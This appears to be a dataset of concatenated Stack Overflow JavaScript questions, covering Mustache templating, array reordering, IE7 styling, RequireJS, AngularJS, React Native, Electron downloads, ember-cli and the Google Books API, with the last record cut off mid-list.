headerTitle } } < /h1 > < /header > < aside class= '' { { sideBarClasses } } '' > < img class= '' { { sideBarImgClasses } } '' src= '' { { sideBarImgSrc } } '' alt= '' { { sideBarImgAlt } } '' > < nav class= '' { { navBarClassNames } } '' > < ul > { { # navLinks } } < li > < a href= '' { { link } } '' tabindex= '' 1 '' > { { name } } < /a > < /li > { { /navLinks } } < /ul > < /nav > < /aside > < section class= '' { { uniqueBodyClasses } } '' > < div id= '' indexDiv '' > < div id= '' indexContents '' > < /div > < /div > { { > uniqueBodyContent } } < /section > < footer class= '' { { footerClasses } } '' > < span class= '' { { authorWrapperClasses } } '' > Author : { { authorName } } < /span > < span class= '' { { dateModifiedWrapperClasses } } '' > Last Modified : { { > lastModifiedDate } } < /span > < /footer > < script src= '' ./js/Indexer.js '' > < /script > < header class= '' mainHeader '' > < h1 > Uromastyces Fact Site < /h1 > < /header > < aside class= '' mainSideBar '' > < img class= '' sideBarImage '' src= '' .. & # x2F ; images & # x2F ; pascal-cropped-shrunk.jpg '' alt= '' A Picture of Pascal '' > < nav class= '' navBar '' > < ul > < li > < a href= '' index.html '' tabindex= '' 1 '' > Home < /a > < /li > < li > < a href= '' enclosure.html '' tabindex= '' 1 '' > Enclosure < /a > < /li > < li > < a href= '' diet.html '' tabindex= '' 1 '' > Diet < /a > < /li > < li > < a href= '' behaviorAndLife.html '' tabindex= '' 1 '' > Behavior and Life < /a > < /li > < li > < a href= '' aboutMe.html '' tabindex= '' 1 '' > About Me < /a > < /li > < /ul > < /nav > < /aside > < section class= '' uniqueBody '' > < div id= '' indexDiv '' > < div id= '' indexContents '' > < /div > < /div > < h4 > Introduction < /h4 > < h5 > Hi ... < /h5 > < p > I created this site to ... < /p > < p > ... < /p > < p > ... < /p > < h4 > Contact Me < /h4 > < p > Want to send me a message ? Use the form below : < /p > < form enctype= '' text/plain '' method= '' post '' action= '' mailto : brendonw5 @ gmail.com '' > < label class= '' contactLabel '' > Subject : < /label > < input class= '' contactInput '' type= '' text '' name= '' subject '' > < label class= '' contactLabel '' > Body : < /label > < input class= '' contactInput '' type= '' text '' name= '' body '' > < input type= '' submit '' name= '' submit '' value= '' Submit '' > < /form > < /section > < footer class= '' mainFooter '' > < span class= '' footerAuthor footerWrapper '' > Author : Brendon Williams < /span > < span class= '' footerModified footerWrapper '' > Last Modified : 15.12.26 < /span > < /footer > < script src= '' ./js/Indexer.js '' > < /script > < header class= '' '' > < h1 > < /h1 > < /header > < aside class= '' '' > < img class= '' '' src= '' '' alt= '' '' > < nav class= '' '' > < ul > < /ul > < /nav > < /aside > < section class= '' '' > < div id= '' indexDiv '' > < div id= '' indexContents '' > < /div > < /div > < h4 > Introduction < /h4 > < h5 > Hi ... < /h5 > < p > I created this site to ... < /p > < p > ... < /p > < p > ... < /p > < h4 > Contact Me < /h4 > < p > Want to send me a message ? Use the form below : < /p > < form enctype= '' text/plain '' method= '' post '' action= '' mailto : brendonw5 @ gmail.com '' > < label class= '' contactLabel '' > Subject : < /label > < input class= '' contactInput '' type= '' text '' name= '' subject '' > < label class= '' contactLabel '' > Body : < /label > < input class= '' contactInput '' type= '' text '' name= '' body '' > < input type= '' submit '' name= '' submit '' value= '' Submit '' > < /form > < /section > < footer class= '' '' > < span class= '' '' > Author : < /span > < span class= '' '' > Last Modified : 15.12.26 < /span > < /footer > < script src= '' ./js/Indexer.js '' > < /script > var TemplateLoader = { /** * Draws the templated page , along with the given unique body . * * @ param { string|Node } uniqueBodyElement Data representing the unique body to display . Should either be a string * of HTML , or a DOM element containing the HTML . * @ param { string } lastModifiedDate The date that the page was last modified . */ renderPage : function ( uniqueBodyElement , lastModifiedDate ) { var data ; var headTemplate ; var bodyTemplate ; var articleTemplate ; //Wait until all data is available $ .when ( $ .get ( `` ./templates/siteData.json '' , function ( d ) { data = d } ) , $ .get ( `` ./templates/HeadTemplate.mustache '' , function ( hT ) { headTemplate = hT } ) , $ .get ( `` ./templates/BodyTemplate.mustache '' , function ( bT ) { bodyTemplate = bT } ) , $ .get ( `` ./templates/ArticleTemplate.mustache '' , function ( aT ) { articleTemplate = aT } ) ) .done ( function ( ) { Helpers.doWithMustache ( function ( ) { var partial = TemplateLoader.getTemplatePartial ( uniqueBodyElement ) ; partial.lastModifiedDate = lastModifiedDate ; var renderedHead = Mustache.render ( headTemplate , data ) ; var renderedBody = Mustache.render ( bodyTemplate , data , partial ) ; var renderedArticleBody = Mustache.render ( articleTemplate , { } , { articleBody : renderedBody } ) ; console.group ( ) ; console.log ( `` Data : \n '' + data ) ; console.log ( `` Body Template : \n '' + bodyTemplate ) ; console.log ( `` Article Template : \n '' + articleTemplate ) ; console.log ( `` Rendered Body : \n '' + renderedBody ) ; console.log ( `` Rendered Article Body : \n '' + renderedArticleBody ) ; console.groupEnd ( ) ; $ ( 'head ' ) .append ( renderedHead ) ; $ ( 'body ' ) .html ( renderedArticleBody ) ; console.log ( `` Templates Loaded . `` ) ; } ) ; } ) .fail ( function ( ) { console.error ( `` Failed to fetch templates or site data . '' ) } ) ; } , getTemplatePartial : function ( templateData ) { var uniqueBodyString ; if ( typeof templateData === `` string '' ) { uniqueBodyString = templateData } else { uniqueBodyString = templateData.innerHTML ; } return { uniqueBodyContent : uniqueBodyString } ; } } ; var Helpers = { doWithMustache : function ( f ) { $ .getScript ( `` ./js/mustache.min.js '' , function ( ) { f ( ) ; } ) .fail ( function ( ) { console.error ( `` Failed to fetch mustache script . '' ) } ) ; } } ; Data : { `` headerClasses '' : `` mainHeader '' , headerTitle : `` Uromastyces Fact Site '' , `` sideBarClasses '' : `` mainSideBar '' , `` sideBarImgClasses '' : `` sideBarImage '' , `` sideBarImgAlt '' : `` A Picture of Pascal '' , `` sideBarImgSrc '' : `` ../images/pascal-cropped-shrunk.jpg '' , `` navBarClassNames '' : `` navBar '' , `` navLinks '' : [ { `` name '' : `` Home '' , `` link '' : `` index.html '' } , { `` name '' : `` Enclosure '' , `` link '' : `` enclosure.html '' } , { `` name '' : `` Diet '' , `` link '' : `` diet.html '' } , { `` name '' : `` Behavior and Life '' , `` link '' : `` behaviorAndLife.html '' } , { `` name '' : `` About Me '' , `` link '' : `` aboutMe.html '' } ] , `` uniqueBodyClasses '' : `` uniqueBody '' , `` uniqueBodyContent '' : `` DEFAULT UNIQUE BODY '' , `` footerClasses '' : `` mainFooter '' , `` authorWrapperClasses '' : `` footerAuthor footerWrapper '' , `` dateModifiedWrapperClasses '' : `` footerModified footerWrapper '' , `` authorName '' : `` Brendon Williams '' , `` lastModifiedDate '' : `` DEFAULT LAST MODIFIED DATE '' , `` indexNavBarClasses '' : `` indexNavBar '' } templateLoader.js ( 41,14 ) Body Template : < header class= '' { { headerClasses } } '' > < h1 > { { headerTitle } } < /h1 > < /header > < aside class= '' { { sideBarClasses } } '' > < img class= '' { { sideBarImgClasses } } '' src= '' { { sideBarImgSrc } } '' alt= '' { { sideBarImgAlt } } '' > < nav class= '' { { navBarClassNames } } '' > < ul > { { # navLinks } } < li > < a href= '' { { link } } '' tabindex= '' 1 '' > { { name } } < /a > < /li > { { /navLinks } } < /ul > < /nav > < /aside > < section class= '' { { uniqueBodyClasses } } '' > < div id= '' indexDiv '' > < div id= '' indexContents '' > < /div > < /div > { { > uniqueBodyContent } } < /section > < footer class= '' { { footerClasses } } '' > < span class= '' { { authorWrapperClasses } } '' > Author : { { authorName } } < /span > < span class= '' { { dateModifiedWrapperClasses } } '' > Last Modified : { { > lastModifiedDate } } < /span > < /footer > < script src= '' ./js/Indexer.js '' > < /script > templateLoader.js ( 42,14 ) Article Template : < section > { { > articleBody } } < /section > templateLoader.js ( 43,14 ) Article Template : < section > { { > articleBody } } < /section > templateLoader.js ( 43,14 ) Rendered Article Body : < section > < header class= '' '' > < h1 > < /h1 > < /header > < aside class= '' '' > < img class= '' '' src= '' '' alt= '' '' > < nav class= '' '' > < ul > < /ul > < /nav > < /aside > < section class= '' '' > < div id= '' indexDiv '' > < div id= '' indexContents '' > < /div > < /div > < h4 > Introduction < /h4 > < h5 > Hi , I 'm Brendon , and I 'm a long-time reptile and Uromastyx owner. < /h5 > < p > I created this site to act as a centralized collection of facts on Uromastyces . The conditions that Uromastyces should be housed in are quite different than most other reptiles , so it can be confusing to new owners as to what the correct conditions are , and what they can be fed . < /p > < p > To the best of my ability , I will reference external sites and provide links to the original information . Note though that new information about Uromastyces may come to light after the publication of this site , so I ca n't guarantee that this information will forever remain in-date , and that contradictory information wo n't appear later ; although I 'll do my best to evaluate all of the sources I use . < /p > < p > In the top-left of every page is my current Uromastyx , < em > Pascal < /em > . She was injured in-transit on the way to my Dad 's wholesale warehouse ( her right eye was damaged ) and was deemed unsellable , so I adopted her to ensure that she can still live a long-life . Besides her lack-of a left eye , she 's so healthy , you 'd never know that she 's injured ( except when she walks in circles looking for food ) . < /p > < h4 > Contact Me < /h4 > < p > Want to send me a message ? Use the form below : < /p > < form enctype= '' text/plain '' method= '' post '' action= '' mailto : brendonw5 @ gmail.com '' > < label class= '' contactLabel '' > Subject : < /label > < input class= '' contactInput '' type= '' text '' name= '' subject '' > < label class= '' contactLabel '' > Body : < /label > < input class= '' contactInput '' type= '' text '' name= '' body '' > < input type= '' submit '' name= '' submit '' value= '' Submit '' > < /form > < /section > < footer class= '' '' > < span class= '' '' > Author : < /span > < span class= '' '' > Last Modified : 15.12.26 < /span > < /footer > < script src= '' ./js/Indexer.js '' > < /script > < /section > templateLoader.js ( 45,14 ) Templates Loaded.templateLoader.js ( 51,14 )",Mustache is replacing my tags with empty strings "JS : Given an array arr and an array of indices ind , I 'd like to rearrange arr in-place to satisfy the given indices . For example : Here is a possible solution that uses O ( n ) time and O ( 1 ) space , but mutates ind : What would be the optimal solution if we are limited to O ( 1 ) space and mutating ind is not allowed ? Edit : The algorithm above is wrong . See this question . var arr = [ `` A '' , `` B '' , `` C '' , `` D '' , `` E '' , `` F '' ] ; var ind = [ 4 , 0 , 5 , 2 , 1 , 3 ] ; rearrange ( arr , ind ) ; console.log ( arr ) ; // = > [ `` B '' , `` E '' , `` D '' , `` F '' , `` A '' , `` C '' ] function swap ( arr , i , k ) { var temp = arr [ i ] ; arr [ i ] = arr [ k ] ; arr [ k ] = temp ; } function rearrange ( arr , ind ) { for ( var i = 0 , len = arr.length ; i < len ; i++ ) { if ( ind [ i ] ! == i ) { swap ( arr , i , ind [ i ] ) ; swap ( ind , i , ind [ i ] ) ; } } }",How to rearrange an array by indices array ? "JS : I have an interesting problem here . I 'm using a class on the element as a switch to drive a fair amount of layout behavior on my site.If the class is applied , certain things happen , and if the class is n't applied , they do n't happen . Javascript is used to apply and remove the class . The relevant CSS is roughly like this : And the HTML : I 've simplified things but this is essentially the method . The whole page changes layout ( hiding the right side in three different areas ) when the flag is set on the body . This works in Firefox and IE8 . It does not work in IE8 in compatibility mode . What is fascinating is that if you sit there and refresh the page , the results can vary . It will pick a different section 's right side to show . Sometimes it will show only the top section 's right side , sometimes it will show the middle.I have tried : - a validator ( to look for malformed html ) - double checked my css formatting , and ... - making sure my IE7 hack sheet was n't having an effect.- putting the flag class on a different , non-body wrapper element ( still has the same odd behavior ) So my question is : - Is there a way that this behavior can be made reliable ? - When does IE7 decide to re-do styling ? Thanks everyone . .rightSide { display : none ; } .showCommentsRight .rightSide { display : block ; width:50 % ; } .showCommentsRight .leftSide { display : block ; width:50 % ; } < body class= '' showCommentsRight '' > < div class= '' container '' > < /div > < div class= '' leftSide '' > < /div > < div class= '' rightSide '' > < /div > < /div > < div class= '' container '' > < /div > < div class= '' leftSide '' > < /div > < div class= '' rightSide '' > < /div > < /div > < div class= '' container '' > < /div > < div class= '' leftSide '' > < /div > < div class= '' rightSide '' > < /div > < /div > < /body >",When does IE7 recompute styles ? Does n't work reliably when a class is added to the body "JS : I 'm using RequireJS for my javascript project , and r.js to build one single javascript file for production . This single file ( main.js ) is then uploaded to a CDN . This all works very fine , but now I 'm trying to add i18n support.The problem is that the location of the i18n file is relative to the main javascript file . So within a module , I would have : This all works very fine when I 'm developing , but for production the problem is that the translation file is not relative to the main.js file as this is placed in a CDN . I do n't want to store the translation file in the CDN , so how do I change the reference to that file in the build process ? define ( [ 'i18n ! nls/text ' ] , function ( Translation ) { } ) ;",How to change path for i18n with RequireJS r.js build "JS : I 'm a beginner with AngularJS , and ca n't find my error in this codeExpected URL : ... /cars/abcThe called URL is : ... /cars ? id=abcI 'm using angularjs v1.2.24Can anyone help me ? Thanks var myCarResource = $ resource ( 'cars/ : carId ' , { carId : ' @ id ' } ) ; var car = myCarResource.get ( { id : 'abc ' } ) ;",Angularjs Resource URL "JS : I 've got an iframe in my page , the contents of which are changed by clicking links in the main body of the page . I am trying to resize the width of the iframe to match the contents , like so : This works fine in Chrome , but in Firefox and IE , I get an iframe that shrinks each time a new link is clicked . FF seems to subtract 20-37px each click.I have Googled and searched Stack Overflow . Some suggestions I found were related to display and overflow CSS properties . I made the changes to the CSS , but it did not help . I also tried the FF 21 Beta in the hopes that it is fixed there , but it is not . frame.contentDocument.body.scrollWidth",Inconsistent scrollwidth for iframe in FF/IE "JS : I am trying to create a view with a border around it that is centered and fills 80 % of the screen . I have come up with this : which works , but seems awfully verbose . Is there a better ( more succinct ) way to create a view that is a certain percentage of the screen width and centered in the page ? < View style= { { flexDirection : 'row ' } } > < View style= { { flex : .1 } } / > < View style= { { flex : .8 , borderWidth : 2 } } / > < View style= { { flex : .1 } } / > < /View >",How to define width by percentage in react native ? "JS : One of my dependencies uses the following to pass in window to its closureFor the time being I can just change it to something more sensible so that it does n't break browserify , but is there some method whereby I can force a value for this in a browserified module ? ( function ( window ) { // } ) ( this )",Passing in window to this in browserify "JS : I 'm really new to HTML and Javascript . I 'd appreciate any help with the code I 'm writing.I 'm working on a calculator to display the distance between airports . The user will have five `` text '' inputs , so they will write airport codes , say MAD , JFK . The result would be the distance between Madrid and JFK . The user can add several airports such as BCN MAD JFK ORD , and the result should be the total addition of all legs ( result = BCN-MAD + MAD-JFK + JFK-ORD ) . For my purpose , it 's also important that the distances are specified by me ( so I dont need to `` calculate '' distances between coordinates ) .What I 've done is I 've created variables called `` leg1,2,3,4 '' which pair each airport , so leg1 can be for example `` BCNMAD '' and then using if statements I can get the distance for that leg . Finally there 's a totalDistance variable to add all the leg distances.Because each leg needs to be calculated separately and added to the other legs , I 've copied the if statements for each separate leg.This seems to work just fine , the problem is so far I 've added just 8 airports . The actual requirement will be approx 200 airports . And because each leg has its own set of if , I could end up with about 800 IFs . I was wondering if there 's any better way to do this ? Also , I dont know if there 's a limit to how many if can be handled ? Like I said before I 'm very new to HTML and Javascript so I 'm sure there are much better options to do this , but I 've been stuck with this issue for days and this is the best solution I could come up with . So any advice or help would be very appreciated . I 've included the code below.regards , Mike function displayDistance ( ) { var leg1 = { route : document.getElementById ( `` air1 '' ) .value + document.getElementById ( `` air2 '' ) .value , distance : '' '' } ; var leg2 = { route : document.getElementById ( `` air2 '' ) .value + document.getElementById ( `` air3 '' ) .value , distance : '' '' } ; var leg3 = { route : document.getElementById ( `` air3 '' ) .value + document.getElementById ( `` air4 '' ) .value , distance : '' '' } ; var leg4 = { route : document.getElementById ( `` air4 '' ) .value + document.getElementById ( `` air5 '' ) .value , distance : '' '' } ; if ( leg1.route == `` AGPMAD '' || leg1.route == `` MADAGP '' ) { leg1.distance = 430 ; } if ( leg1.route == `` BCNMAD '' || leg1.route == `` MADBCN '' ) { leg1.distance = 483 ; } if ( leg1.route == `` LHRMAD '' || leg1.route == `` MADLHR '' ) { leg1.distance = 1246 ; } if ( leg1.route == `` CDGMAD '' || leg1.route == `` MADCDG '' ) { leg1.distance = 1065 ; } if ( leg1.route == `` JFKMAD '' || leg1.route == `` MADJFK '' ) { leg1.distance = 5777 ; } if ( leg1.route == `` ORDJFK '' || leg1.route == `` JFKORD '' ) { leg1.distance = 1191 ; } if ( leg1.route == `` JFKMCO '' || leg1.route == `` MCOJFK '' ) { leg1.distance = 1520 ; } if ( leg1.route == `` JFKIAD '' || leg1.route == `` IADJFK '' ) { leg1.distance = 367 ; } if ( leg2.route == `` AGPMAD '' || leg2.route == `` MADAGP '' ) { leg2.distance = 430 ; } if ( leg2.route == `` BCNMAD '' || leg2.route == `` MADBCN '' ) { leg2.distance = 483 ; } if ( leg2.route == `` LHRMAD '' || leg2.route == `` MADLHR '' ) { leg2.distance = 1246 ; } if ( leg2.route == `` CDGMAD '' || leg2.route == `` MADCDG '' ) { leg2.distance = 1065 ; } if ( leg2.route == `` JFKMAD '' || leg2.route == `` MADJFK '' ) { leg2.distance = 5777 ; } if ( leg2.route == `` ORDJFK '' || leg2.route == `` JFKORD '' ) { leg2.distance = 1191 ; } if ( leg2.route == `` JFKMCO '' || leg2.route == `` MCOJFK '' ) { leg2.distance = 1520 ; } if ( leg2.route == `` JFKIAD '' || leg2.route == `` IADJFK '' ) { leg2.distance = 367 ; } if ( leg2.route == `` AGPMAD '' || leg2.route == `` MADAGP '' ) { leg2.distance = 430 ; } if ( leg3.route == `` BCNMAD '' || leg3.route == `` MADBCN '' ) { leg3.distance = 483 ; } if ( leg3.route == `` LHRMAD '' || leg3.route == `` MADLHR '' ) { leg3.distance = 1246 ; } if ( leg3.route == `` CDGMAD '' || leg3.route == `` MADCDG '' ) { leg3.distance = 1065 ; } if ( leg3.route == `` JFKMAD '' || leg3.route == `` MADJFK '' ) { leg3.distance = 5777 ; } if ( leg3.route == `` ORDJFK '' || leg3.route == `` JFKORD '' ) { leg3.distance = 1191 ; } if ( leg3.route == `` JFKMCO '' || leg3.route == `` MCOJFK '' ) { leg3.distance = 1520 ; } if ( leg3.route == `` JFKIAD '' || leg3.route == `` IADJFK '' ) { leg3.distance = 367 ; } if ( leg4.route == `` AGPMAD '' || leg4.route == `` MADAGP '' ) { leg4.distance = 430 ; } if ( leg4.route == `` BCNMAD '' || leg4.route == `` MADBCN '' ) { leg4.distance = 483 ; } if ( leg4.route == `` LHRMAD '' || leg4.route == `` MADLHR '' ) { leg4.distance = 1246 ; } if ( leg4.route == `` CDGMAD '' || leg4.route == `` MADCDG '' ) { leg4.distance = 1065 ; } if ( leg4.route == `` JFKMAD '' || leg4.route == `` MADJFK '' ) { leg4.distance = 5777 ; } if ( leg4.route == `` ORDJFK '' || leg4.route == `` JFKORD '' ) { leg4.distance = 1191 ; } if ( leg4.route == `` JFKMCO '' || leg4.route == `` MCOJFK '' ) { leg4.distance = 1520 ; } if ( leg4.route == `` JFKIAD '' || leg4.route == `` IADJFK '' ) { leg4.distance = 367 ; } var totalDistance = leg1.distance + leg2.distance + leg3.distance + leg4.distance ; document.getElementById ( `` distanceresult '' ) .innerHTML = totalDistance ; } < span > Route : < /span > < input type= '' text '' class= '' airinput '' id= '' air1 '' value= '' '' required= '' '' / > < input type= '' text '' class= '' airinput '' id= '' air2 '' value= '' '' required= '' '' / > < input type= '' text '' class= '' airinput '' id= '' air3 '' value= '' '' required= '' '' / > < input type= '' text '' class= '' airinput '' id= '' air4 '' value= '' '' required= '' '' / > < input type= '' text '' class= '' airinput '' id= '' air5 '' value= '' '' required= '' '' / > < br/ > < input type= '' button '' onClick= '' displayDistance ( ) ; '' value= '' Calculate Distance '' / > < br/ > < span > The total distance is : < /span > < span id= '' distanceresult '' > < /span > < br/ >",Alternative to multiple `` if statements ? "JS : Example : https : //stackoverflow.com/a/37289566/710887I see this happening more and more often . I was always taught to keep javascript , css , and html separate ( with html linking to the sources/scripts of course ) .Is using an Javascript in an HTML attribute ( such as onclick , onchange , etc : ) bad practice ? < span id= '' valBox '' > 25 < /span > < input type= '' range '' min= '' 5 '' max= '' 50 '' step= '' 1 '' value= '' 25 '' onchange= '' valBox.textContent = this.value '' >",Is JavaScript as HTML Attribute Bad Practice ? "JS : I 'm trying to make a cross-origin XMLHttpRequest from within a web worker . The setup is as follows : The original request is made to the same domain example.comThe server redirects ( 302 ) the request to s3.amazon.comS3 is properly set up for CORS , responding with the proper Access-Control-Allow-Origin headerThe code is as follows : Chrome , Firefox , Safari , and MS Edge on Win 10This code properly follows the redirect , both when called from the main JS file and from a web worker.IE 10/11 on Win 7This code properly follows the redirect only when called from the main JS file . When called from a web worker , the request is aborted without an error or log message.It 's possible to make this work by editing the browser security settings and enabling `` Access data sources across domains , '' but it is not viable to expect users to do so.QuestionsIs there some special setup required to make IE 10/11 follow the redirect ? Is there a way to get better output from IE 10/11 other than an opaque aborted request ? var xhr = new XMLHttpRequest ( ) ; //this will redirect to 'https : //s3.amazon.com/ ... 'xhr.open ( 'GET ' , 'https : //example.com/document/1234/download ' ) ; xhr.send ( null ) ;",CORS XMLHttpRequest fails in IE10-11 web worker "JS : I was struggling for a couple of weeks to get the react-native-calendar-events library working on my React Native project after it was upgraded from 0.53.3 to 0.60.4.I was able to get it working on the iOS side via refactoring some code to execute authorizeEventStore before checking authorizationStatus like so : Unfortunately , this does not work on the Android side of the application . I have followed the Android setup guide here , even though it should not apply at this point with React-Native 60+ because of autolinking but I was running out of ideas : https : //github.com/wmcmahan/react-native-calendar-events/wiki/Android-setupSure enough , the above implementation did not work and there is no updated documentation . Not sure what I am missing , I have set this up on Android via autolinking , via the implementation above and still nothing.I have been unsuccessful in getting any response from an open issue with the author of the lib : https : //github.com/wmcmahan/react-native-calendar-events/issues/278On the Android side when JavaScript executes this code : it continues to print out alert ( `` Oops ! Something has gone wrong . `` ) ; as opposed to the iOS side which prints out alert ( `` Event Saved '' ) ; export async function createCalendarEvent ( event ) { const store = await RNCalendarEvents.authorizeEventStore ( ) ; console.log ( store ) ; if ( store === `` authorize '' ) { addToCalendar ( event ) ; } else { RNCalendarEvents.authorizationStatus ( ) .then ( auth = > { // handle status if ( auth === `` authorized '' ) { addToCalendar ( event ) ; } } ) .catch ( ( ) = > { alert ( `` This app needs calendar access '' ) ; } ) ; } } export async function createCalendarEvent ( event ) { const store = await RNCalendarEvents.authorizeEventStore ( ) ; console.log ( store ) ; if ( store === `` authorized '' ) { addToCalendar ( event ) ; } else { RNCalendarEvents.authorizationStatus ( ) .then ( auth = > { // handle status if ( auth === `` authorized '' ) { addToCalendar ( event ) ; } } ) .catch ( ( ) = > { alert ( `` This app needs calendar access '' ) ; } ) ; } } async function addToCalendar ( event ) { try { const startDate = Platform.OS === `` ios '' ? format ( parse ( event.StartDateLocal ) ) : parse ( event.StartDateLocal ) ; const endDate = Platform.OS === `` ios '' ? format ( parse ( event.EndDateLocal ) ) : parse ( event.EndDateLocal ) ; const allEvents = await RNCalendarEvents.fetchAllEvents ( startDate , endDate ) ; const calendarEvent = allEvents.find ( e = > e.title === event.Title ) ; if ( calendarEvent ) { alert ( `` You have already added this event to your calendar . `` ) ; } else { const title = event.Title ; const { Location : { AddressLine1 : address , City : city , StateAbbreviation : state , PostalCode : zip } } = event ; const location = ` $ { address } , $ { city } , $ { state } , $ { zip } ` ; const settings = { location , startDate , endDate } ; RNCalendarEvents.saveEvent ( title , settings ) .then ( ( ) = > { alert ( `` Event Saved '' ) ; } ) .catch ( rejectionReason = > { console.log ( rejectionReason ) ; alert ( `` Oops ! Something has gone wrong . `` ) ; } ) ; } } catch ( e ) { alert ( e.message ) ; } }",How do I get react-native-calendar-events working on Android platform React-Native 60+ ? JS : Is there any way to make tr.Other or tr [ 'Other ' ] and all other undefined properties of the object to return its name instead undefined ? var tr= { } ; tr.SomeThing='SomeThingElse ' ; console.log ( tr.SomeThing ) ; // SomeThingElseconsole.log ( tr.Other ) ; // undefinedtr.get=function ( what ) { if ( tr.hasOwnProperty ( what ) ) return tr [ what ] ; else return what ; } ; tr.get ( 'SomeThing ' ) // SomeThingElsetr.get ( 'Other ' ) // Other,Set undefined javascript property before read "JS : I am creating an org chart with thousands of nodes but created a sample example here , https : //jsfiddle.net/jy6j87g0/2/As you can see zooming and panning is working but I would like to make it work like one here , http : //live.yworks.com/demobrowser/index.html # Organization-ChartsTo be specificI am trying to make my fiddle , To zoom based on mouse pointer 's position not centre of chartHave a limit on minimum size my chart can go so it wo n't go invisibleHave a reset buttonI am struggling to find where to start , should I look further into CSS transformation or use d3.js instead and create everything from scratch . Link to library - https : //github.com/dabeng/OrgChart 'use strict ' ; ( function ( $ ) { $ ( function ( ) { var datascource = { 'name ' : 'Lao Lao ' , 'title ' : 'general manager ' , 'children ' : [ { 'name ' : 'Bo Miao ' , 'title ' : 'department manager ' } , { 'name ' : 'Su Miao ' , 'title ' : 'department manager ' , 'children ' : [ { 'name ' : 'Tie Hua ' , 'title ' : 'senior engineer ' } , { 'name ' : 'Hei Hei ' , 'title ' : 'senior engineer ' , 'children ' : [ { 'name ' : 'Pang Pang ' , 'title ' : 'engineer ' } , { 'name ' : 'Xiang Xiang ' , 'title ' : 'UE engineer ' } ] } ] } , { 'name ' : 'Yu Jie ' , 'title ' : 'department manager ' } , { 'name ' : 'Yu Li ' , 'title ' : 'department manager ' } , { 'name ' : 'Hong Miao ' , 'title ' : 'department manager ' } , { 'name ' : 'Yu Wei ' , 'title ' : 'department manager ' } , { 'name ' : 'Chun Miao ' , 'title ' : 'department manager ' } , { 'name ' : 'Yu Tie ' , 'title ' : 'department manager ' } ] } ; $ ( ' # chart-container ' ) .orgchart ( { 'data ' : datascource , 'nodeContent ' : 'title ' , 'pan ' : true , 'zoom ' : true } ) .on ( 'touchmove ' , function ( event ) { event.preventDefault ( ) ; } ) ; } ) ; } ) ( jQuery ) ; < link href= '' https : //cdn.rawgit.com/FortAwesome/Font-Awesome/master/css/font-awesome.min.css '' rel= '' stylesheet '' / > < link href= '' https : //dabeng.github.io/OrgChart/css/style.css '' rel= '' stylesheet '' / > < link href= '' https : //dabeng.github.io/OrgChart/css/jquery.orgchart.css '' rel= '' stylesheet '' / > < script src= '' https : //code.jquery.com/jquery-3.1.0.min.js '' > < /script > < script src= '' https : //dabeng.github.io/OrgChart/js/jquery.orgchart.js '' > < /script > < div id= '' chart-container '' > < /div >",Zooming and Panning in JS/JQuery like we can do it using SVG "JS : Speechless fiddle with reproducing of situationThe key code is : After this.form.dispatchEvent ( ) the evt.preventDefault ( ) in handleSubmit ( ) does n't work in FirefoxIf you open fiddle in Chrome ( e.g . ) and enter data into fields , you will see it in console - the prevention of dispatched event will work perfectly . In Firefox preventing does n't work - after logging data the page immediately reloads ( see `` APP CONSTRUCTOR '' in console ) .So , the question is obvious : how to avoid this bug ? class Form extends React.Component { handleSubmit ( evt ) { evt.preventDefault ( ) var data = { } for ( var i = 0 ; i < this.form.elements.length ; i++ ) { var elt = this.form.elements [ i ] if ( elt.name ) { data [ elt.name ] = elt.value } } this.props.onSubmit ( data ) return false } submit ( ) { if ( this.form.checkValidity ( ) ) this.form.dispatchEvent ( new Event ( 'submit ' ) ) } render ( ) { return ( < form onSubmit= { this.handleSubmit.bind ( this ) } ref= { r = > this.form = r } > { this.props.children } < /form > ) } }",FIrefox does n't preventing dispatched submit event "JS : I am using Electron-dlAs per documentation download function download ( window , URL , Options ) accepts only urland returns promiseObjective : I want to download array of files simultaneouslyin then ( ) I want to get dl.getSavePath ( ) paths for given arrayin catch ( ) I want to get errors for failed items for given arrayCould promise.all do this job ? Any other alternative ? What is wrong with code : then ( ) is being called immediately instead of waiting for all downloads to finishZip File : electron-dl-multi.zipto use npm install & & npm startBig_array_test : Code : var files = [ 'https : //download.filezilla-project.org/client/FileZilla_3.34.0_win64-setup_bundled.exe ' , 'http : //the.earth.li/~sgtatham/putty/latest/w32/putty-0.70-installer.msi ' , 'http : //speedtest.ftp.otenet.gr/files/test10Mb.db ' ] var files= [ 'http : //speedtest.ftp.otenet.gr/files/test100k.db ' , 'https : //www.google.com/images/branding/googlelogo/2x/googlelogo_color_120x44dp.png ' ] ; var promises = [ ] ; var _browserWindow = BrowserWindow.getFocusedWindow ( ) ; // for ( var i = 0 ; i < files.length ; i++ ) { promises.push ( download ( _browserWindow , files [ i ] , { directory : os.tmpdir ( ) // Default is User 's downloads directory } ) .then ( function ( dl ) { return dl.getSavePath ( ) ; } ) .catch ( function ( err ) { return err ; } ) ) ; } Promise.all ( promises ) .then ( function ( _files ) { console.log ( _files ) ; } ) .catch ( function ( err ) { console.log ( err ) ; } ) ;",Electron-dl use promise.all for multiple simultaneous downloads "JS : I 've got an ember-cli project . I 've used bower to install fastclick and have added it to my brocfile.Now I 'm trying to initialise it . In my app.js file I 've added : But this gives me an error in the console : `` Uncaught TypeError : Can not read property 'default ' of undefined '' . The inspector shows the following generated code : I assume the problem is that fastclick is n't compatible with the ES6 loader that ember-cli uses . I do n't have requirejs , so how can I install fastclick into my project ? Docs are at https : //github.com/ftlabs/fastclick.I 've also tried adding this to index.html , but it does n't have any effect when I build an iOS app : import FastClick from 'bower_components/fastclick/lib/fastclick ' ; [ `` ember '' , '' ember/resolver '' , '' ember/load-initializers '' , '' bower_components/fastclick/lib/fastclick '' , '' exports '' ] , function ( __dependency1__ , __dependency2__ , __dependency3__ , __dependency4__ , __exports__ ) { `` use strict '' ; var Ember = __dependency1__ [ `` default '' ] ; var Resolver = __dependency2__ [ `` default '' ] ; var loadInitializers = __dependency3__ [ `` default '' ] ; var FastClick = __dependency4__ [ `` default '' ] ; # chrome highlights this line $ ( function ( ) { FastClick.attach ( document.body ) ; } ) ;",How to install fastclick with ember-cli ? "JS : I am trying to build book title recommendation system using Google Books API.Unfortunately results I get are extremely irrelevant comparing to https : //books.google.com . For example that 's a list I get from search by word `` sher '' ( looking forward to something like Sherlock Holmes primarily ) .As you see , there is no even most relevant title . If you type `` Sher '' at google books website you 'll get absolutely correct relevant recommendations . Have I understood Google API right ? What is wrong in my code ? ` She Said Yes ; The Oh She Glows Cookbook ; What Can She Know ? ; She-Wolf ; Murder She Wrote ; My Mother She Killed Me , My Father He Ate Me ; 22 Things a Woman Must Know If She Loves a Man with Asperger 's 